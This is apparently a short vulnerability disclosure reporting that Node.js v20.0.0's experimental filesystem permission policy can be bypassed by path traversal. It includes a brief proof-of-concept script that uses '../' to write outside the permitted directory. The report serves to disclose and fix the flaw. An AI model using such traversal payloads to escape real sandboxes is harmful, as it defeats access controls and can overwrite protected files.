Filesystem experimental permissions policy does not handle path traversal cases.

Consider the following command on Node v20.0.0: ``` node --experimental-permission --allow-fs-read=* --allow-fs-write=/home/kali/restricted/ poc.js ``` This command is intended to restrict write access to only files present in the directory /home/kali/restricted However if we have the following poc.js: ``` const fs = module.require('fs') fs.writeFileSync("/home/kali/restricted/../secret.txt", "Target Overwritten!") ``` This apparently matches the directory /home/kali/restricted/ directory check and then writes to /home/kali/secret.txt (by using ../), which is not intended, bypassing the experimental permission policy for files. ## Impact Path traversal when checking experimental file permission policy